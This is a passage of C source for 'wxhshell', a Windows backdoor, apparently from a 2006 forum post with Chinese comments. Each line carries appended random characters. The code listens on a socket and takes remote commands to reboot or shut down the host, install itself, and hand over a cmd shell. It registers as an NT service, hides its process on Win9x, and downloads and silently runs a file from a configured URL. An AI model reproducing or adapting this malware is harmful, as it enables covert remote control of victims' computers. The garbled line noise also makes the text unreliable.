  } EC1q#;:  
  else { {+c/$4 <  
)$q<"t\#P#  
    switch(cmd[0]) { 1E$Z]5C9  
  xy mK|  
  // 帮助 2BH>TmS  
  case '?': { a2/r$Tgm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9?D7"P+  
    break; s cR-|GuZ  
  } X1<)B]y  
  // 安装 Y'f I4  
  case 'i': { 'G(N,vu[@  
    if(Install()) oE#HI2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +azPpGZ=  
    else PB>p"[ap4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/oRt<:E  
    break; N(vbo  
    } OpxVy _5,  
  // 卸载 yD1*^~loJ  
  case 'r': { 2DQ'h}BI  
    if(Uninstall()) yE9JMi 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `H$s -PX  
    else |+6Z+-.Hg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); };oRx)  
    break; zQ{ Q>"-  
    } ("/*k  
  // 显示 wxhshell 所在路径 $ O}gl Q  
  case 'p': { 1\YX|  
    char svExeFile[MAX_PATH]; v{ C]\8  
    strcpy(svExeFile,"\n\r");  QN_5q5  
      strcat(svExeFile,ExeFile); V EY!0PIj  
        send(wsh,svExeFile,strlen(svExeFile),0);  >o.u,  
    break; #*S/Sh?Q  
    } "]c:V4S#`A  
  // 重启 S-2xe?sb  
  case 'b': { ?Tuh22J{Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bDUGzezP<  
    if(Boot(REBOOT)) s+zb[3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aS~k.^N  
    else { %J.Rm0FD:  
    closesocket(wsh); um ,/^2A  
    ExitThread(0); ]`m|A1(  
    } @2$PU{dH  
    break; [-6j4D  
    } qgZ(o@\  
  // 关机 !YJdi~q  
  case 'd': { AX'(xb,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }i[i{lKj  
    if(Boot(SHUTDOWN)) asQ" |]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-/bLg[L?$  
    else { s #L1:L  
    closesocket(wsh); [Hd^49<P2  
    ExitThread(0); *otJtEI>6  
    } Yf{s0Z  
    break; W@wT ,yJ8@  
    } Gw+z8^|C&}  
  // 获取shell  EVq<gGy  
  case 's': { 8(3vNuyP  
    CmdShell(wsh); Kjz,p^Y\  
    closesocket(wsh); $ya#-pi`;  
    ExitThread(0); {g/\5Z\b  
    break; `dL9sfj>  
  } E/U1g4S  
  // 退出 t:=Ui/!q  
  case 'x': { O')Ivm,E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kq{s^G  
    CloseIt(wsh); ~S-x-cZ  
    break; ?WAlW,H>  
    } $%1[<}<  
  // 离开 0A 4(RLGg  
  case 'q': { f[|xp?ef  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TqQ>\h"&_  
    closesocket(wsh); 0eQ5LG?)  
    WSACleanup(); k(^zhET  
    exit(1); HwU \[f  
    break; *3 9sh[*}  
        } 3N]pN<3@  
  } t4gD*j6J3  
  } Q 5@~0  
j,1,;  
  // 提示信息 $ng\qJ"HF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3I"&Qp%2  
} i(c2NPbX  
  } 3[V|C=u0  
3Ji,n;QLm  
  return; *f4KmiQ~ %  
} M/1Q/;0P  
l>qCT  
// shell模块句柄 t#P)KcWOt  
int CmdShell(SOCKET sock) HvTi^Fb\a  
{ <M$hj6.tn  
STARTUPINFO si; QT|mN  
ZeroMemory(&si,sizeof(si)); ,Y`C7Px  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?<nz2 piP,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |_w*:NCV5  
PROCESS_INFORMATION ProcessInfo; wV-cpJ,}  
char cmdline[]="cmd"; Z&.FJZUP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *E$D,  
  return 0; zZf#E@=$|  
} !o.g2  
Tl=vgs1  
// 自身启动模式 2}}~\C}o+  
int StartFromService(void) $iP#8La:Y  
{ ZnJnjW PQ  
typedef struct x(t} H8q  
{ '6xn!dK  
  DWORD ExitStatus; VS}Vl  
  DWORD PebBaseAddress; gH_r'j  
  DWORD AffinityMask; +-.BF"}  
  DWORD BasePriority; 1%-?e``.  
  ULONG UniqueProcessId; MiSFT5$v6  
  ULONG InheritedFromUniqueProcessId; Ab(bvS8r$  
}   PROCESS_BASIC_INFORMATION; Cog:6Gnw  
EI_J7J+  
PROCNTQSIP NtQueryInformationProcess; xE)pj|  
KX9ZwsC0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z2$-},i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +pF z&)?  
N7;E 2 X  
  HANDLE             hProcess; i5AhF\7F9  
  PROCESS_BASIC_INFORMATION pbi; (=PnLP  
>Y \4 v}-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); st+Kz uK  
  if(NULL == hInst ) return 0; BryMq !  
ZR#UoYjupb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PkVXn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +'KM~c?]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lhjPS!A~  
|QzPY8B9O  
  if (!NtQueryInformationProcess) return 0; nB:Bw8U"Q  
de`6%%|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZO;]Zt]  
  if(!hProcess) return 0; v$mA7|(t!  
~cZ1=,P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >)5vsqGZaK  
;J5oO$H+68  
  CloseHandle(hProcess); j2\G1@05  
K^> qn,]H'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,%jJ ,G,  
if(hProcess==NULL) return 0; IcIMa  
R1 wd Q8q  
HMODULE hMod; '{+hti,Lh  
char procName[255]; 8ziYav  
unsigned long cbNeeded; bZlAK)  
!PQRlgcG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); un /eS-IIh  
DMf9wB  
  CloseHandle(hProcess); P;y/`_jo  
xp &I~YPH  
if(strstr(procName,"services")) return 1; // 以服务启动 9rid98~d  
q OXL(  
  return 0; // 注册表启动 m0#hG x  
} w%ip"GT,  
^Gyl:hN  
// 主模块 %kUJ:lg;d  
int StartWxhshell(LPSTR lpCmdLine) !*cf}<Kmw  
{ },"g*  
  SOCKET wsl; mb/3 #)  
BOOL val=TRUE; O^<6`ku  
  int port=0; P9'5=e@jB  
  struct sockaddr_in door; <T}#>xHs3  
O:U@m@7  
  if(wscfg.ws_autoins) Install(); #2MwmIeA  
h\dIp`H  
port=atoi(lpCmdLine); h!Q >h7  
_AO0:&  
if(port<=0) port=wscfg.ws_port; lu{}j4  
:#LB}=HQ  
  WSADATA data; dHu]wog  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !uZ+r%  
F0!r9U((  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]6aM %r=c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 980+Y  
  door.sin_family = AF_INET; ^*r${Nj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '|cuVxcE55  
  door.sin_port = htons(port); B8nXWi  
cshUxabB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { td m{ V st  
closesocket(wsl); 1dq.UW\  
return 1; 6RF01z|~_  
} ENmo^O#,u  
*dQRs6  
  if(listen(wsl,2) == INVALID_SOCKET) { t.zSJ|T_&O  
closesocket(wsl); e,x@?L*  
return 1; o O|^ [b#  
} Q,4F=b  
  Wxhshell(wsl); QZfPd\Q5  
  WSACleanup(); mA."*)8VNg  
@Yg7F>s  
return 0; ::R^ w"  
h1Lp:@:|  
} \uYUX~}i"  
>hhd9  
// 以NT服务方式启动 Uyh   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^U =`Rx  
{ ! Q#b4f  
DWORD   status = 0; l:ED_env:  
  DWORD   specificError = 0xfffffff; _5)#{ o<  
-`RJ k(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y!`?q8z$G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V.4j?\#%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5[3hw4  
  serviceStatus.dwWin32ExitCode     = 0; GWW@8GNI  
  serviceStatus.dwServiceSpecificExitCode = 0; ^Y&Cm.w  
  serviceStatus.dwCheckPoint       = 0; ^d"J2n,7L  
  serviceStatus.dwWaitHint       = 0; oaKf{$vg  
V ": BAn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S ~_%  
  if (hServiceStatusHandle==0) return; I45A$nV#Q  
{)[i\=,`{  
status = GetLastError(); BOWTH{KR<<  
  if (status!=NO_ERROR) bXW)n<y  
{ J.&q[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SUEw5qitB  
    serviceStatus.dwCheckPoint       = 0; 7HJv4\K  
    serviceStatus.dwWaitHint       = 0; cU>&E* wD  
    serviceStatus.dwWin32ExitCode     = status; X+3)DE\2  
    serviceStatus.dwServiceSpecificExitCode = specificError; d#*5U9\z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^|C~lp;n  
    return; bXfOZFzq)  
  } "VeUOdNA>  
d5%*^nMpY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1^;h:,e6  
  serviceStatus.dwCheckPoint       = 0; rEf\|x=st:  
  serviceStatus.dwWaitHint       = 0; "tark'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4Rm3'Ch  
} g IKm  
w?*KO?K  
// 处理NT服务事件,比如:启动、停止 PYUY bRn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GKSy|z  
{ <7 rK  
switch(fdwControl) %8tN$8P  
{  )L!R~F C  
case SERVICE_CONTROL_STOP: '2tEKVb  
  serviceStatus.dwWin32ExitCode = 0; cg.e(@(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lwcw%M]  
  serviceStatus.dwCheckPoint   = 0; ;Y '\:  
  serviceStatus.dwWaitHint     = 0; </Id';|v  
  { n96gDH*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fs|;>Up0  
  } c-T ^ aR  
  return; L,Nr,QC-  
case SERVICE_CONTROL_PAUSE: z|<oxF.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^;3rdBprm  
  break; CJOl|"UyJ  
case SERVICE_CONTROL_CONTINUE: ]aRD6F:L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qWpCe*C  
  break; &V3oW1*W  
case SERVICE_CONTROL_INTERROGATE: gdK/:%u3  
  break; $.1'Ym  
}; HH#i.s2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^<zVdwp  
} FNM"!z  
_PbfFY #  
// 标准应用程序主函数 _e_%U<\4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w3N%J>4_E  
{ DRoxw24  
iq:[+  
// 获取操作系统版本 48Lmy<}*  
OsIsNt=GetOsVer(); (3h*sd5ly  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h yKg=Foq  
w2+]C&B*  
  // 从命令行安装 N)*e^Nfb  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;8T=uCi  
~BZV:Es  
  // 下载执行文件 KaE;4gwM  
if(wscfg.ws_downexe) { %m) h1/l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )JQQ4D  
  WinExec(wscfg.ws_filenam,SW_HIDE);  {Yk20Zn  
} mv?H]i`N  
y7-:l u$9  
if(!OsIsNt) { J\+gd%  
// 如果时win9x,隐藏进程并且设置为注册表启动 b6Hk20+B;  
HideProc(); <M?#3&5A  
StartWxhshell(lpCmdLine); mtQ{6u  
} 8VmN? "5v  
else 1!wEXH(  
  if(StartFromService()) &i^NStqu  
  // 以服务方式启动 yn[ZN-H~  
  StartServiceCtrlDispatcher(DispatchTable); b DS1'Ce  
else ^(JHRH~=h  
  // 普通方式启动 .GN$H>')  
  StartWxhshell(lpCmdLine); "EYj Y->  
0r ; nz]'  
return 0; K!K"}%/_  
}
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只看该作者 1 发表于: 2006-10-10
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